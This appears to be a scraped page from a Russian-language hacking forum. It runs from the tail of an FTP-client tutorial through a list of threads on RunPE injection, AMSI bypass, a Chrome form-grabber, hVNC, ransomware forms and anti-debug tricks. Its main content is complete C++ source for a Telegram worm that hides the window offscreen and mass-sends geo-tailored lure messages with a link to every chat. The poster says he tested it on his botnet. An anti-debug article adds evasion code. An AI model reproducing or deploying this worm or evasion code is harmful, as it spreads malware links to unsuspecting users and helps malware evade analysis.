   mySocket = init_sock(); // сделали сокет
   readServerResponse(mySocket); //  передали его в нашу функцию и получили ответ
   close(mySocket);  //закрыли соединения по правилам этика 
   return 0;
   }

9c079c0ea5dcacbf60e4a93befbc3fc8.jpg

Ну чем я не программист, просите вы после этого.
Но нам мало, мы хотим больше и лучше. Так давайте запилим к созданию данных для соединения. Для этого мы реализуем функцию init_Data_Connect():

Функция init_Data_Connect:

C++:Copy to clipboard

int init_Data_Connect() 
{
    send(s,"PASV\r\n",strlen("PASV\r\n"),0);
    char buff[128]; // пилим буфер для приема
    recv(s,buff,128,0); // отправляем 
    cout << buff; //выводим на экран полученную от сервера строку
    int a,b;
    char *tmp_char; // обязательно указатель
    tmp_char = strtok(buff,"(");
    tmp_char = strtok(NULL,"(");
    tmp_char = strtok(tmp_char, ")");
    int c,d,e,f;
    sscanf(tmp_char, "%d,%d,%d,%d,%d,%d",&c,&d,&e,&f,&a,&b);
    int len;
    sockaddr_in address;
    int result;
    int port = a*256 + b;
    ds = socket(AF_INET, SOCK_STREAM,0);
    address.sin_family = AF_INET;
    address.sin_addr.s_addr = inet_addr(addr);    //addr - глобальная переменная с адресом сервера
    address.sin_port = htons(port);
    len = sizeof(address);
    result = connect(ds, (sockaddr *)&address, len);
    if (result == -1) {
        сerr("oops: client");
        return -1;
    }
    return 0;
}

Тут можно более детально остановиться на этой функции. Первее всего, она отправляет запрос на пассивный коннект данныхю То есть, Это один такой интересный вид соединения, когда мы создаем сокет на указанный сервером хост и порт. После этого запроса мы получаем от сервера ответ - строку, в которой имеется адрес и порт и сразу же выводим на экран.
Чтобы не быть привязанными к серверу, раздробим строку оставит только выражение в скобках. Будем использовать для этого фу-ю strtok().
Разобрав строку, мы считываем с неё переменные адреса и порта в int значения с помощью sscanf(). Потом вычисляем порт который нам надо, а это a*256+b. После аналогично только в управляющем соединении. Поправка только одна, в том что переме. addr мы используем как глобальную..
Теперь настало время сделать систему логированния для отправки файлов на сервер. После иниц. коннекта отправи request на логин. Вот алгоримт:

Функция loginOnServer():

C++:Copy to clipboard

int loginOnServer() 
{
    cout << "Введите имя: "; 
    char name[128]; 
    cin >> name;
    char str[512];
    sprintf(str,"USER %s\r\n",name);
    send(s,str,strlen(str),0);
    readServerResponse();
    cout << "Введите пароль: "; 
    char pass[64]; 
    cin >> pass;
    sprintf(str,"PASS %s\r\n",pass);
    send(s,str,strlen(str),0);
    readServerResponse();
    return 0;
}

Здесь все и так ясно, мы делаем строку с именем, отправлем её на сервер, считываем ответ. Тоже самое проделываем с паролем. После удачного логированния на сервере мы можем отправить запрос на скачку файлов:

Функция get_File_Server():

C++:Copy to clipboard

int get_File_Server(char *file) 
{
    char str[512];
    sprintf(str,"RETR %s\r\n",file);
    send(s,str,strlen(str),0);
 
    /* получаем размер файла */
    char size[512];
    recv(s,size,512,0);
    cout << size;
 
    char *tmp_size;
    tmp_size = strtok(size,"(");
    tmp_size = strtok(NULL,"(");
    tmp_size = strtok(tmp_size, ")");
    tmp_size = strtok(tmp_size, " ");
 
    int file_size;
    sscanf(tmp_size,"%d",&file_size);
    FILE *newFile;
    newFile = fopen(file, "wb");   //важно чтобы файл писался в бинарном режиме
    int read = 0;  //изначально прочитано 0 байт
    do 
    {
            char buff[2048];  //буфе для данных
            int readed = recv(ds,buff,sizeof(buff),0);  //считываем данные с сервера. из сокета данных
            fwrite(buff,1,readed,f);   //записываем считанные данные в файл
            read += readed;  //увеличиваем количество скачанных данных
    } while (read < file_size);
    fclose(newFile);
    cout << "Готово. Ожидание ответа сервера...\n";
    return 0;
}

Здесь мы получаем в параметры имя файла для загрузки, передаём запрос на его закачку, а уже после ответа при помощи фук-и strtok() размер файла и пока while() крутится грузим весь файл по 2048 байт. Вот собственно на этом все, try catch и прочие выпады сможете настроить сами) ​

Стоит ли начинать кодить с C#?
ID: 6765d804b4103b69df375977
Thread ID: 51015
Created: 2021-04-24T15:36:52+0000
Last Post: 2021-08-30T12:19:25+0000
Author: lmnX
Replies: 21 Views: 2K

Привет форум, хотел спросить, насколько перспективно начинать серьезно кодить на сишарпе? До этого имелся минимальный опыт на плюсах и пайтоне, но насколько успел почитать, первые не очень востребованные (ну лично я встречал только такое мнение, может быть ошибочным), а на змее мне вообще не нравилось писать. Посмотрел на то, что из себя представляет с#, и лично для меня он привлекательный. Но хочется услышать мнение куда более опытных людей - браться за него основательно или нет?

[Udemy] Илья Фофанов - Программирование на C#: от новичка до специалиста (2020)
ID: 6765d804b4103b69df375988
Thread ID: 44818
Created: 2020-11-25T22:01:14+0000
Last Post: 2021-07-19T18:26:12+0000
Author: balabashka
Replies: 6 Views: 2K

Чему вы научитесь

  • Как устроена платформа .NET и .NET Core
  • Основные типы данных в C#
  • Управление потоком исполнения программы: циклы, условия
  • Массивы и коллекции: Array, List, Dictionary, Stack, Queue
  • Классы и структуры: отличия в контексте управления памятью
  • ООП в C#: наследование, полиморфизм, инкапсуляция
  • ООП в С#: интерфейсы, абстрактные классы, модификатора доступа
  • Методы: params, out, ref, static, overloading, optional parameters
  • Основы процесса отладки
  • Управление памятью: сборка мусора, boxing\unboxing
  • Перечисления
  • Обобщения
  • Написаниие простых программ и игр на C# таких как "крестики-нолики"

Требования

  • Желательно хотя бы базовое понимание принципов работы компьютера
  • Желание учиться и практиковаться

Описание
C# стабильно входит в ТОП-10 наиболее популярных языков программирования.
Если вы хотите начать программировать и выбираете язык с которого начать обучение, то C# это один из лучших вариантов. C# это один из наиболее сбалансированных языков с точки зрения типизации, не говоря уже о лаконичности синтаксиса и отсутствия тяжёлого наследственного багажа как в случае С++. Ещё несколько лет назад споры о том какой язык лучше C# или Java являлись холиварными по своей сути, но на 2019 год таких споров становится всё меньше, ибо C# стал кросс-платформенным, сильно продвинулся в возможностях по достижению высокого уровня производительности, а по типизации и синтаксическим фичам давно уделал Java. Так что если вы выбираете между Java и C#... ну вы поняли.
Короче говоря, если вы только начинаете своё путешествие в мир программирования, C# станет отличным выбором в качестве вашего первого языка программирования. Популярность C# объясняется не только тем, что его легко изучать, но и реальными преимуществами языка в смысле его профессионального применения для решения сложных проблем автоматизации. C# - кросс-платформенный язык и написанные на нём программы работают под Windows, Linux, Mac OS. Обладает кратким и элегантным синтаксисом. Огромное количество уже готовых библиотек даёт возможность не изобретать велосипеды на каждом шагу.
Этот курс покрывает все основные возможности C# и даёт рекомендации по написанию грамотного, "чистого" кода.
Данный курс покрывает следующие темы:

  • Введение в .NET: основные понятия, как устроены приложения .NET
  • Основы C#: обзор типов данных, числа и простая математика, переменные, основы работы со строками, приведение типов, статические члены
  • Коллекции и массивы в C#: Array, List, Dictionary, Stack, Queue
  • ООП: классы, структуры, перечисления, обобщения, интерфейсы, абстрактные классы
  • Работа с файлами
  • Обработка исключений
  • Делегаты, события, лямбды
  • LINQ
  • Домашние задания с разбором решений
  • в будущем будут добавлены следующие темы: reflection, dynamic, сериализация и ещё по-мелочи Многопоточности будет посвящён отдельный курс

Для кого этот курс:

  • Абсолютные новички в программировании, желающие изучить один из лучших объектно-ориентированных языков программирования.
  • Студенты, обладающие познаниями в одном из языков программирования и желающие изучить C#

Продажник:
[https://href.li/?htt...e=&locale=ru_RU](https://href.li/?https://www.udemy.com/course/csharp- ru/?persist_locale=&locale=ru_RU&0644d54f)

Скачать:
https://cloud.mail.r...563g/DwmpXrQgs/

Что использовать при создание GUI приложения на Си
ID: 6765d804b4103b69df375994
Thread ID: 51577
Created: 2021-05-09T14:51:46+0000
Last Post: 2021-06-14T14:44:58+0000
Author: fristailxxx
Replies: 14 Views: 2K

Делал gui только на python (qt), в Си использовал всегда консоль.
QT на Си вроде бы как нет, а на winapi очень муторно.
Я слышал про другие варианты, но не знаю что выбрать.
Заранее спасибо!

Траблы в RunPE
ID: 6765d804b4103b69df375996
Thread ID: 52698
Created: 2021-06-09T16:57:04+0000
Last Post: 2021-06-10T19:15:44+0000
Author: H3aVyH0Rs3
Replies: 19 Views: 2K

Пишу, значит, я RunPE шеллкод, тестирую на примерах к FASM - всё ок - запускает экзешник от имени другого процесса. Но вот попадается мне простой блокнот (х86) и мой RunPE уже не в состоянии его запустить. А дело в том, что блокнот имеет ImageBase=0x01000000 и не имеет релоков. В то же время в чужом процессе, от имени которого я пытаюсь запустить блокнот с помощью инжекта, эта область памяти помечена как RESERVED и MEM_MAPPED. Значит мне надо как-то закрыть этот MAP файл в чужом процессе, но как?

Убрать зависимость dll из redistributable
ID: 6765d804b4103b69df3759a1
Thread ID: 52548
Created: 2021-06-06T07:16:23+0000
Last Post: 2021-06-06T12:28:54+0000
Author: Exfazo
Replies: 9 Views: 2K

Всем привет, работаю в visual studio 2013. Проблему решил пока что изменив ключи во вкладке code generation, runtime library(/MD изменил на /MT), но теперь скомпилированный exe весит не 7 кб, а 70 кб. Можно ли проблему исправить по другому, что бы вес файла почти не менялся?

Си
ID: 6765d804b4103b69df3759a6
Thread ID: 52285
Created: 2021-05-29T14:12:26+0000
Last Post: 2021-06-02T05:22:30+0000
Author: Antik
Replies: 6 Views: 2K

Всем привет, хотел бы попросить совета у знающих людей. Уже довольно продолжительное время учу Си - яп нравится, все хорошо идет(также есть опыт работы с java,git-ом,travis,heroku, maven). Хочу применить знания в какой- нибудь сфере, вот только не знаю куда. Хотелось бы развиваться в направлении написании малвари, читал статью Quake3 про винАпи, но не знаю осилю ли. Слишком муторно, нормальных учебников мало и им по 20 лет(тестил коды из статьи, уже не работают). Так вот, хотелось бы, конечно, работать с Сишкой,т.к. на нее убил много времени. Если кому-нибудь нужен будет Сишник, пишите. Готов делать все бесплатно, ради опыта и "набивания руки".

Формы для ransomware
ID: 6765d804b4103b69df3759ae
Thread ID: 49358
Created: 2021-03-15T11:02:22+0000
Last Post: 2021-05-11T18:56:49+0000
Author: wasted1337
Replies: 3 Views: 2K

Приветствую всех
Есть ли у кого нибудь c# формы для ransomware?

Обход AMSI
ID: 6765d804b4103b69df3759b9
Thread ID: 50647
Created: 2021-04-14T14:48:16+0000
Last Post: 2021-04-21T13:49:43+0000
Author: chyond
Replies: 18 Views: 2K

Всем привет! Пытаюсь работать с макросами, возникли проблемы с amsi на этапе работы с com обьектами. Естественно понимаю, что рабочие решения по обходу, отключению являются приватными и никто не захочет просто так ими делиться, но может кто то намекнет в какую сторону копать! Спасибо!

[Robert C. Seacord] Secure Coding in C and C++
ID: 6765d804b4103b69df3759c5
Thread ID: 44486
Created: 2020-11-18T13:59:33+0000
Last Post: 2021-04-01T09:51:14+0000
Author: Grotendique
Prefix: Мануал/Книга
Replies: 2 Views: 2K

ccc.jpg
Описание:
Secure Coding in C and C++ addresses fundamental programming errors in
C and C++ that have led to the most common, dangerous, and disruptive
software vulnerabilities recorded since CERT was founded in 1988. This
book does an excellent job of providing both an in-depth engineering
analysis of programming errors that have led to these vulnerabilities and
mitigation strategies that can be effectively and pragmatically applied to
reduce or eliminate the risk of exploitation.

Формат : PDF
Год : 2013
ISBN -13: 978-0-321-82213-0
ISBN -10: 0-321-82213-7

Download

Проблема с перехватами функций
ID: 6765d804b4103b69df3759c8
Thread ID: 49200
Created: 2021-03-11T17:05:16+0000
Last Post: 2021-03-29T00:52:34+0000
Author: Jurddox
Replies: 7 Views: 2K

Всем привет. Решил написать формграббер для хрома через перехват функции WSASend из либы ws2_32.dll. Короче хуки я поставил, но буфер из LPWSABUF оказывается постоянно пустым(вывожу через MessageBoxA). В чем может быть проблема?

C++ Telegram worm
ID: 6765d804b4103b69df3759d2
Thread ID: 44045
Created: 2020-11-07T23:50:10+0000
Last Post: 2021-02-26T09:54:25+0000
Author: bnetmstr
Replies: 2 Views: 2K

I post this on english so everyone can understand.

I was thinking how to make worm / spreader for telegram and this is how I did it, it send message / link to all convos, I tested it on my botnet and it generated shitload of traffic, alot of people told me it's not easy, not possible bla bla, so this was one more reason for me to make one.

No extra libs are used, works with unicode.

1. Check Telegram path exist
2. Check if process Telegram.exe is running
3. If not, start Telegram.exe, sleeps for 30 second
4. Check process Telegram.exe
5. If running, spreader gets GEO of current computer on site: http://api.wipmania.com/
- For example if country is RU, message will be: "Лучшее фото ) link"

6. Sets Clipboard data with message generated with GEO + your link "Лучшее фото ) link"
7. If ok, it sets windows out box, so user won't see the Telegram window anymore
8. Setfocus on Telegram window
9. Click crtl + menu + home ( it will focus the first convo in list )
10. Goes into for loop + presses ctrl + TAB (it select new convo), since right now there is no option to calculate how many convos it will spam all after each other for the time you config, in KillThread is Sleep(10000); // 10 seconds
11. Stimulaty ctrl +v ( paste ) as our message is in clipboard it will paste it in convo window + enter enter 3 times ( on slow computer it takes a bit longer till you see confirm )

So you if someone wants make it better then update it, for everyone, I got no time to work on it right now., lot can be changed, people can learn from it, have fun.

Code:Copy to clipboard

#define _CRT_SECURE_NO_WARNINGS

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <tlhelp32.h>
#include <tchar.h>
#include <Shlwapi.h>
#include <wininet.h>

bool IsProcessRunning(char *szProcName)
{
    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

    if (!Process32First(snapshot, &entry))
    {
        CloseHandle(snapshot);

        return false;
    }

    do
    {
        if (strcmp(entry.szExeFile, szProcName) == 0)
        {
            CloseHandle(snapshot);
  
            return true;
        }
    } while (Process32Next(snapshot, &entry));

    CloseHandle(snapshot);

    return false;
}

DWORD WINAPI KillThread(LPVOID param)
{
    Sleep(10000);

    ExitProcess(0);
}

bool SetClipboardTextW(wchar_t *wszText)
{
    bool SetOk = false;

    if (OpenClipboard(NULL))
    {
        if (EmptyClipboard())
        {
            int size = sizeof(wszText);
  
            size += sizeof(WCHAR) * (wcslen(wszText) +1);

            HGLOBAL hClipboardData = GlobalAlloc(NULL, size);
  
            if (hClipboardData)
            {
                WCHAR* pchData = (WCHAR*) GlobalLock(hClipboardData);
  
                if (pchData)
                {
                    memcpy(pchData, (WCHAR*)wszText, size);
          
                    GlobalUnlock(hClipboardData);

                    SetClipboardData(CF_UNICODETEXT, hClipboardData);

                    SetOk = true;
                }
            }
        }

        CloseClipboard();
    }

    return SetOk;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    Sleep(1000);

    char cfg_mutex[]  = "735733";

    HANDLE mutex;
    mutex = CreateMutex(NULL, FALSE, cfg_mutex);
    if (GetLastError() == ERROR_ALREADY_EXISTS)
        ExitProcess(0);

    WCHAR wszAppData[MAX_PATH];
    WCHAR wszTelegramPath[MAX_PATH];

    ExpandEnvironmentStringsW(L"%appdata%", wszAppData, sizeof(wszAppData));

    wsprintfW(wszTelegramPath, L"%ls\\Telegram Desktop\\Telegram.exe", wszAppData);
          
    if (PathFileExistsW(wszTelegramPath))
    {
        if (IsProcessRunning("Telegram.exe") == false)
        {
            ShellExecuteW(NULL, L"open", wszTelegramPath, NULL, NULL, SW_SHOW);

            Sleep(30000);
        }

        if (IsProcessRunning("Telegram.exe") == true)
        {
            HINTERNET hOpen, hURL;

            DWORD dwRead;

            char *geo;
            char szData[MAX_PATH];
            WCHAR wszGEOMsg[50];
            WCHAR wszSpreadMsg[500];
  
            bool GetGEOOk = false;
      
            hOpen = InternetOpen("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

            if (hOpen != NULL)
            {
                hURL = InternetOpenUrl(hOpen, "http://api.wipmania.com/", NULL, 0, 0, 0);

                if (hURL != NULL)
                {
                    memset(szData,0,sizeof(szData));

                    InternetReadFile(hURL, szData, sizeof(szData) - 1, &dwRead) && dwRead != 0;
      
                    geo = strchr(szData, '>');
          
                    if (geo)
                    {
                        geo++;
              
                        GetGEOOk = true;
              
                        if (strcmp(geo, "RU") == 0) wsprintfW(wszGEOMsg, L"Лучшее фото )");
                        else if (strcmp(geo, "UZ") == 0) wsprintfW(wszGEOMsg, L"Eng yaxshi rasm");
                        else if (strcmp(geo, "HU") == 0) wsprintfW(wszGEOMsg, L"Te vagy?");
                        else if (strcmp(geo, "ID") == 0) wsprintfW(wszGEOMsg, L"Apakah kamu itu");
                        else if (strcmp(geo, "IT") == 0) wsprintfW(wszGEOMsg, L"Sei tu?");
                        else if (strcmp(geo, "DE") == 0) wsprintfW(wszGEOMsg, L"Bist du das?");
                        else if (strcmp(geo, "FR") == 0) wsprintfW(wszGEOMsg, L"Est-ce toi?");
                        else if (strcmp(geo, "ES") == 0) wsprintfW(wszGEOMsg, L"Este Eres tu");
                        else if (strcmp(geo, "DK") == 0) wsprintfW(wszGEOMsg, L"Er det dig?");
                        else if (strcmp(geo, "TR") == 0) wsprintfW(wszGEOMsg, L"Bu sen misin?");
                        else if (strcmp(geo, "CZ") == 0) wsprintfW(wszGEOMsg, L"Jsi to?");  
                        else if (strcmp(geo, "EE") == 0) wsprintfW(wszGEOMsg, L"Kas sa oled see?");  
                        else if (strcmp(geo, "HR") == 0) wsprintfW(wszGEOMsg, L"Jesi li to ti?");
                        else if (strcmp(geo, "SI") == 0) wsprintfW(wszGEOMsg, L"Si to ti?");
                        else if (strcmp(geo, "PH") == 0) wsprintfW(wszGEOMsg, L"Ikaw ba ito?");
                        else if (strcmp(geo, "AD") == 0) wsprintfW(wszGEOMsg, L"Ets tu?");
                        else if (strcmp(geo, "AT") == 0) wsprintfW(wszGEOMsg, L"Bist du das?");
                        else if (strcmp(geo, "MY") == 0) wsprintfW(wszGEOMsg, L"Adakah ini awak?");
                        else if (strcmp(geo, "PL") == 0) wsprintfW(wszGEOMsg, L"Czy to ty?");
                        else if (strcmp(geo, "NO") == 0) wsprintfW(wszGEOMsg, L"Er dette deg?");
                        else if (strcmp(geo, "RO") == 0) wsprintfW(wszGEOMsg, L"Esti tu?");
                        else if (strcmp(geo, "SO") == 0) wsprintfW(wszGEOMsg, L"Ma kanaa?");
                        else if (strcmp(geo, "HI") == 0) wsprintfW(wszGEOMsg, L"Pela anei oukou?");
                        else if (strcmp(geo, "TM") == 0) wsprintfW(wszGEOMsg, L"Bu senmi?");
                        else if (strcmp(geo, "SG") == 0) wsprintfW(wszGEOMsg, L"Adakah ini awak?");
                        else if (strcmp(geo, "NL") == 0) wsprintfW(wszGEOMsg, L"Ben jij dit?");
                        else if (strcmp(geo, "BE") == 0) wsprintfW(wszGEOMsg, L"Ben jij dit?");
                        else if (strcmp(geo, "CN") == 0) wsprintfW(wszGEOMsg, L"這是你嗎?");
                        else if (strcmp(geo, "JP") == 0) wsprintfW(wszGEOMsg, L"あなたですが?");
                        else if (strcmp(geo, "KR") == 0) wsprintfW(wszGEOMsg, L"이게 당신인가요?");
                        else if (strcmp(geo, "TH") == 0) wsprintfW(wszGEOMsg, L"นี่คุณหรือเปล่า");
                        else if (strcmp(geo, "VN") == 0) wsprintfW(wszGEOMsg, L"Đây có phải là bạn?");
                        else if (strcmp(geo, "GR") == 0) wsprintfW(wszGEOMsg, L"Είσαι εσύ?");
                        else if (strcmp(geo, "FI") == 0) wsprintfW(wszGEOMsg, L"Oletko sinä tässä?");
                        else if (strcmp(geo, "UA") == 0) wsprintfW(wszGEOMsg, L"Це ти?");
                        else if (strcmp(geo, "KZ") == 0) wsprintfW(wszGEOMsg, L"Бұл сіз бе?");
                        else if (strcmp(geo, "RO") == 0) wsprintfW(wszGEOMsg, L"Ești asta???");
                        else if (strcmp(geo, "SK") == 0) wsprintfW(wszGEOMsg, L"Você é isso?");
                        else if (strcmp(geo, "AZ") == 0) wsprintfW(wszGEOMsg, L"Sənsən?");
                        else if (strcmp(geo, "AR") == 0) wsprintfW(wszGEOMsg, L"Դու այդպիսին ես");
                        else if (strcmp(geo, "BY") == 0) wsprintfW(wszGEOMsg, L"Гэта вы?");
                        else if (strcmp(geo, "GE") == 0) wsprintfW(wszGEOMsg, L"შენ ის ხარ?");
                        else if (strcmp(geo, "IL") == 0) wsprintfW(wszGEOMsg, L"שוויץ");
                        else if (strcmp(geo, "AL") == 0) wsprintfW(wszGEOMsg, L"A je ti");
                        else if (strcmp(geo, "BG") == 0) wsprintfW(wszGEOMsg, L"Това ти ли си?");
                        else if (strcmp(geo, "IN") == 0) wsprintfW(wszGEOMsg, L"क्या यह आप हो?");
                        else if (strcmp(geo, "PK") == 0) wsprintfW(wszGEOMsg, L"کیا یہ آپ ہیں؟");
                        else if (strcmp(geo, "AF") == 0) wsprintfW(wszGEOMsg, L"دا ته یې؟");
                        else if (strcmp(geo, "EG") == 0) wsprintfW(wszGEOMsg, L"هل هذا انت؟");
                        else if (strcmp(geo, "AM") == 0) wsprintfW(wszGEOMsg, L"Դու սա ես");
                        else if (strcmp(geo, "AO") == 0) wsprintfW(wszGEOMsg, L"É você?");
                        else if (strcmp(geo, "IQ") == 0) wsprintfW(wszGEOMsg, L"Ev tu yî?");
                        else if (strcmp(geo, "IR") == 0) wsprintfW(wszGEOMsg, L"این شمایید؟");
                        else if (strcmp(geo, "SR") == 0) wsprintfW(wszGEOMsg, L"Јеси ли то ти?");
                        else if (strcmp(geo, "LU") == 0) wsprintfW(wszGEOMsg, L"Ass dëst Dir?");
                        else if (strcmp(geo, "JO") == 0) wsprintfW(wszGEOMsg,L"هل هذا انت؟");
                        else if (strcmp(geo, "BD") == 0) wsprintfW(wszGEOMsg,L"এটা তুমি?");
                        else if (strcmp(geo, "KG") == 0) wsprintfW(wszGEOMsg, L"Бул сизби?");
                        else if (strcmp(geo, "MK") == 0) wsprintfW(wszGEOMsg, L"Дали си ова?");
                        else if (strcmp(geo, "LT") == 0) wsprintfW(wszGEOMsg, L"Ar tai jūs?");
                        else if (strcmp(geo, "LV") == 0) wsprintfW(wszGEOMsg, L"Vai tas esi tu?");
                        else wsprintfW(wszGEOMsg, L"Best photo");
                    }
                }
                  
                InternetCloseHandle(hURL);
            }
              
            InternetCloseHandle(hOpen);
  
            Sleep(1000);
  
            if (GetGEOOk == true)
            {
                wsprintfW(wszSpreadMsg, L"%ls http://link.com/photo.php", wszGEOMsg);

                if (SetClipboardTextW(wszSpreadMsg) == true)
                {
                    Sleep(100);
          
                        HWND hMainWindow = FindWindow("Qt5QWindowIcon", NULL);

                        if (hMainWindow)
                        {
                            CreateThread(NULL, 0, KillThread, 0, 0, 0);

                            ShowWindow(hMainWindow, 1);

                            SetWindowPos(hMainWindow, HWND_TOPMOST, -2900, -2900, 0, 0, SWP_NOSIZE);
                  
                            SetForegroundWindow(hMainWindow);

                            SetFocus(hMainWindow);
                  
                            Sleep(200);

                            keybd_event(VK_CONTROL, 0,  0, 0);
                            keybd_event(VK_MENU, 0, 0, 0);

                            keybd_event(VK_HOME, 0, 0, 0);
                            keybd_event(VK_HOME, 0, KEYEVENTF_KEYUP, 0);

                            keybd_event(VK_MENU, 0, KEYEVENTF_KEYUP , 0);
                            keybd_event(VK_CONTROL, 0, KEYEVENTF_KEYUP , 0);

                            Sleep(100);

                            int i = 0;

                    startit:

                            Sleep(200);
                  
                            keybd_event(VK_CONTROL, 0,  0, 0);
                                              
                            for (int contacts = 0; contacts < i; contacts++)
                            {
                                SendMessage(hMainWindow, WM_KEYDOWN, VK_TAB, 0);
                                SendMessage(hMainWindow, WM_KEYUP, VK_TAB, 0);
                  
                                Sleep(50);
                            }
                          
                            keybd_event(VK_CONTROL, 0, KEYEVENTF_KEYUP , 0);
                                              
                            Sleep(100);

                            i++;
                                      
                            SetForegroundWindow(hMainWindow);
                  
                            SetFocus(hMainWindow);
                  
                            Sleep(200);
                  
                            INPUT ip;
                            ip.type = INPUT_KEYBOARD;
                            ip.ki.wScan = 0;
                            ip.ki.time = 0;
                            ip.ki.dwExtraInfo = 0;
                  
                            ip.ki.wVk = VK_CONTROL;
                            ip.ki.dwFlags = 0; // 0 for key press
                            SendInput(1, &ip, sizeof(INPUT));

                            ip.ki.wVk = 'V';
                            ip.ki.dwFlags = 0; // 0 for key press
                            SendInput(1, &ip, sizeof(INPUT));
               
                            ip.ki.wVk = 'V';
                            ip.ki.dwFlags = KEYEVENTF_KEYUP;
                            SendInput(1, &ip, sizeof(INPUT));
                  
                            ip.ki.wVk = VK_CONTROL;
                            ip.ki.dwFlags = KEYEVENTF_KEYUP;
                            SendInput(1, &ip, sizeof(INPUT));
      
                            Sleep(100);

                            for (int i = 0; i < 3; i++)
                            {
                                Sleep(100);

                                keybd_event(VK_RETURN ,0, 0, 0);
                                keybd_event(VK_RETURN ,0, KEYEVENTF_KEYUP , 0);
                            }

                            goto startit;
                        }
                }
            }
        }
    }

    return 0;
}
PEB->ProcessParameters->Environment = nullptr
ID: 6765d804b4103b69df3759d7
Thread ID: 48275
Created: 2021-02-18T09:43:02+0000
Last Post: 2021-02-20T14:32:36+0000
Author: Jeffs
Replies: 27 Views: 2K

Изучаю данный метод инжекта:

github.com

[ injection/cmdline/var_inject.c at master · odzhan/injection

](https://github.com/odzhan/injection/blob/master/cmdline/var_inject.c)

Windows process injection methods. Contribute to odzhan/injection development by creating an account on GitHub.

github.com github.com

При попытке получить адрес Environment из PEB созданного мной процесса - получаю nullptr.
Тот же Process Explorer прекрасно отображает все переменные среды созданного процесса.
Не пойму, что не так?

Создание hvnc и фокус приложений
ID: 6765d804b4103b69df3759db
Thread ID: 48059
Created: 2021-02-13T14:34:32+0000
Last Post: 2021-02-16T17:44:56+0000
Author: heybabyone
Replies: 7 Views: 2K

Кто делал хвнц на основе создание скрытого стола и там запуск процессов? Столкнулся с проблемой, что запустив там проводник и переключившись обратно в свой рабочий стол и открыв обартно проводник - он открывается в скрытом рабочем столе. А если обартно переключиться и закрыть проводник, то уже в своем рабочем столе можно открывать.
С какими параметрами запускать в этом случае например firefox/chrome тот же? Иначе у холдера будут траблы с тем, что он нажимает, а ничего не работает.

Новые методы антидебага
ID: 6765d804b4103b69df3759f0
Thread ID: 46476
Created: 2021-01-08T11:17:41+0000
Last Post: 2021-01-11T19:34:29+0000
Author: danyrusdem
Prefix: Статья
Replies: 7 Views: 2K

2020 год закончился и я решил выпустить новые антидебаг методы которые вы не видели.Что-бы начать глянем на два новых метода,оба связаны с приостановкой потока. Они не самые революционные или полезные, но лучшее я оставляю напоследок.

Обход заморозки процесса

Это милый небольшой флаг создания потока, который Microsoft добавила в 19H1. Вы когда-нибудь задумывались, почему есть дыра во флагах создания потоков? Что ж, дыра заполнена флагом, который я назову THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE (я понятия не имею, как он на самом деле называется), значение которого, естественно, равно 0x40.

Дабы продемонстрировать что оно делает,Я покажу как работает PsSuspendProcess.

C:Copy to clipboard

NTSTATUS PsSuspendProcess(_EPROCESS* Process)
{
  const auto currentThread = KeGetCurrentThread();
  KeEnterCriticalRegionThread(currentThread);

  NTSTATUS status = STATUS_SUCCESS;
  if ( ExAcquireRundownProtection(&Process->RundownProtect) )
  {
    auto targetThread = PsGetNextProcessThread(Process, nullptr);
    while ( targetThread )
    {
      // Our flag in action
      if ( !targetThread->Tcb.MiscFlags.BypassProcessFreeze )
        PsSuspendThread(targetThread, nullptr);

      targetThread = PsGetNextProcessThread(Process, targetThread);
    }
    ExReleaseRundownProtection(&Process->RundownProtect);
  }
  else
    status = STATUS_PROCESS_IS_TERMINATING;

  if ( Process->Flags3.EnableThreadSuspendResumeLogging )
    EtwTiLogSuspendResumeProcess(status, Process, Process, 0);

  KeLeaveCriticalRegionThread(currentThread);
  return status;
}

Как видите, NtSuspendProcess, вызывающий PsSuspendProcess, просто проигнорирует поток с этим флагом. Еще один бонус в том, что поток также не приостанавливается NtDebugActiveProcess! Насколько мне известно, невозможно запросить или отключить флаг после того, как поток был создан с ним, поэтому вы ничего не можете с ним поделать.

Что касается его полезности, я бы сказал, что это просто приятная небольшая добавка против сброса и вызывает путаницу, когда вы нажимаете кнопку приостановить в Processhacker, и процесс продолжает работать, как будто ничего не произошло.

Пример:

Например, вот несколько угарный код, который будет продолжать печатать, что я запускаю. Я уверен, что, увидев это во время движения задним ходом, вы бы сильно запутались в том, какого черта можно приостановить свой собственный процесс.

C:Copy to clipboard

#define THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE 0x40

NTSTATUS printer(void*) {
    while(true) {
        std::puts("I am running\n");
        Sleep(1000);
    }
    return STATUS_SUCCESS;
}

HANDLE handle;
NtCreateThreadEx(&handle, MAXIMUM_ALLOWED, nullptr, NtCurrentProcess(),
                 &printer, nullptr, THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE,
                 0, 0, 0, nullptr);

NtSuspendProcess(NtCurrentProcess());

Продолжая тенденцию к плохому поведению NtSuspendProcess, мы снова будем злоупотреблять его работой, чтобы определить, был ли наш процесс приостановлен.
Уловка заключается в том, что счетчик приостановки представляет собой 8-битное значение со знаком. Как и в предыдущем случае, вот код, который поможет вам понять внутреннюю работу:

C:Copy to clipboard

ULONG KeSuspendThread(_ETHREAD *Thread)
{
  auto irql = KeRaiseIrql(DISPATCH_LEVEL);
  KiAcquireKobjectLockSafe(&Thread->Tcb.SuspendEvent);

  auto oldSuspendCount = Thread->Tcb.SuspendCount;
  if ( oldSuspendCount == MAXIMUM_SUSPEND_COUNT ) // 127
  {
    _InterlockedAnd(&Thread->Tcb.SuspendEvent.Header.Lock, 0xFFFFFF7F);
    KeLowerIrql(irql);
    ExRaiseStatus(STATUS_SUSPEND_COUNT_EXCEEDED);
  }

  auto prcb = KeGetCurrentPrcb();
  if ( KiSuspendThread(Thread, prcb) )
    ++Thread->Tcb.SuspendCount;

  _InterlockedAnd(&Thread->Tcb.SuspendEvent.Header.Lock, 0xFFFFFF7F);
  KiExitDispatcher(prcb, 0, 1, 0, irql);
  return oldSuspendCount;
}

